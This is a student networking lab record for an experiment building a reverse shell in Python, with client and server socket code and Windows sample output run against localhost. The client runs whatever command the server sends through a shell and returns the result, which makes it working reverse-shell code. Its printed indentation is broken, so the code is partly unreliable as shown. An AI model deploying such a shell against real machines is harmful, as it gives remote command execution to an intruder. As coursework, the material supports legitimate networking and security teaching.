

EXPT: 9 DEVELOP A PROGRAM TO CREATE REVERSE SHELL USING TCP SOCKETS

Introduction:

A server and client that communicate over TCP: the server sends text commands; the client runs them and returns the output plus its current working directory.

Aim:

Demonstrate basic TCP communication and remote command execution between two Python programs.

Algorithm:

1. Server: listen on a port, accept a client, read commands from the user, send commands to client, print responses.
2. Client: connect to server, receive commands, if cd then change directory, otherwise run the command, send back output and current directory.
3. On quit close the connection.

Code:

Client:

```
import socket
import subprocess
import os

host = '127.0.0.1'
port = 9999

def connect_to_server():
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((host, port))

    while True:
        try:
            command = client.recv(1024).decode()

            if command.lower() == 'quit':
```

```

        break

    elif command.startswith('cd '):

        try:

            os.chdir(command[3:].strip())

            output = f"Changed directory to {os.getcwd()}"

        except Exception as e:

            output = str(e)

        else:

            process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)

            output = process.stdout.read() + process.stderr.read()

            output = output.decode()

            current_dir = os.getcwd() + "> "

            client.send((output + "\n" + current_dir).encode())

        except Exception as e:

            client.send(str(e).encode())

        break

    client.close()

if __name__ == "__main__":

    connect_to_server()

```

Server:

```

import socket

import threading

host = '127.0.0.1'

port = 9999

def create_server_socket():

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    server.bind((host, port))

    server.listen(5)

    print(f"[+] Listening on {host}:{port}")

```

```

return server

def handle_client(conn, addr):

    print(f"[+] Connection established with {addr[0]}:{addr[1]}")

    while True:

        try:

            command = input(f"{addr[0]}@shell> ")

            if command.lower() == 'quit':

                conn.send(command.encode())

                conn.close()

                break

            if command.strip():

                conn.send(command.encode())

                response = conn.recv(4096).decode()

                print(response)

        except Exception as e:

            print(f"[!] Error: {e}")

            conn.close()

            break

def start_server():

    server = create_server_socket()

    while True:

        conn, addr = server.accept()

        client_thread = threading.Thread(target=handle_client, args=(conn, addr))

        client_thread.start()

if __name__ == "__main__":

    start_server()

```

Output:

Server:

```
C:\Users\a8282>cd "C:\Users\a8282\OneDrive\Documents"

C:\Users\a8282\OneDrive\Documents>python revserver.py
[+] Listening on 127.0.0.1:9999
[+] Connection established with 127.0.0.1:54985
127.0.0.1@shell> whoami
admin\a8282
```

```
C:\Users\a8282\OneDrive\Documents>
127.0.0.1@shell> echo hello
hello

C:\Users\a8282\OneDrive\Documents>
127.0.0.1@shell> dir
Volume in drive C has no label.
Volume Serial Number is 9C02-4D11

Directory of C:\Users\a8282\OneDrive\Documents

11-10-2025  16:18    <DIR>          .
11-10-2025  14:02    <DIR>          ..
11-10-2025  13:46             549 anonymous.py
11-10-2025  14:37             477 calcclient.py
11-10-2025  14:47             476 calcserver.py
07-10-2025  08:35             263 client.py
09-09-2025  07:45        669,472 cn model qn paper(cse).pdf
06-09-2025  07:58         77,825 cn model qn paper.pdf
11-10-2025  16:18        767,346 cn record.docx
05-09-2025  16:14     9,946,788 CN Typed Notes.pdf
07-10-2025  09:58    <DIR>          Custom Office Templates
06-09-2025  08:01    18,006,469 DBMS unit-1 notes.pdf
11-09-2025  19:19    1,079,692 DBMS cat-1 model qn paper.pdf
06-09-2025  07:58    325,524 dbms model qn paper.pdf
```

Client:

```
C:\Users\a8282>cd "C:\Users\a8282\OneDrive\Documents"

C:\Users\a8282\OneDrive\Documents>python revclient.py
```

Result:

Server shows a "connection established" message when client connects. Commands typed at the server prompt run on the client and their output appears on the server. `cd` changes the client's directory and the new path is returned. `Quit` ends the session; errors close the connection.